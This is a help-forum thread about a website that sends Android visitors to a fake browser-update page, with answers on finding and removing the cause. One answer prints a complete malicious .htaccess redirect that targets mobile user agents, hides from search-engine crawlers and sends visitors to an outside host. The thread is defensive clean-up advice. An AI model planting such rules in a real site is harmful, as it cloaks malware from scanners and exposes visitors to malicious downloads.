For what reason can a virus enter the site (when you enter from a mobile phone)?

Question

PHP

Tell me, this is the situation: when you enter the site through a mobile device on an android, the system redirects to the left site and offers to update the browser. This problem is not seen anywhere else. Yandex webmaster and Google webmaster also do not detect the virus.
Tell me how to remove it, and is it difficult?

Answer 1

This redirect is usually at the very bottom of .htaccess, you can not see it. He's like this:

RewriteEngine   on
RewriteCond    %{HTTP_USER_AGENT}  (android|midp|j2me|symbian|series\ 60|symbos|windows\ mobile|windows\ ce|ppc|smartphone|blackberry|mtk|windows\ phone)  [NC]
RewriteCond    %{HTTP_USER_AGENT}  !(accoona|ia_archiver|antabot|ask\ jeeves|baidu|dcpbot|eltaindexer|feedfetcher|gamespy|gigabot|googlebot|gsa-crawler|grub-client|gulper|slurp|mihalism|msnbot|worldindexer|ooyyo|pagebull|scooter|w3c_validator|jigsaw|webalta|yahoofeedseeker|yahoo!\ slurp|mmcrawler|yandexbot|yandeximages|yandexvideo|yandexmedia|yandexblogs|yandexaddurl|yandexfavicons|yandexdirect|yandexmetrika|yandexcatalog|yandexnews|yandeximageresizer)    [NC]
RewriteRule ^(.*)$ http://gigabitmobi.com/l [L,R=302]

Answer 2

1. see the .htaccses file
2. download all the files on your local Avastom, for example, check
You have a redirect for mobile user-agent

Answer 3

Once I caught this because of the service of social buttons on the site. Check included js scripts. If you break to read the whole code, just try to disable one by one. Helped me at the time :)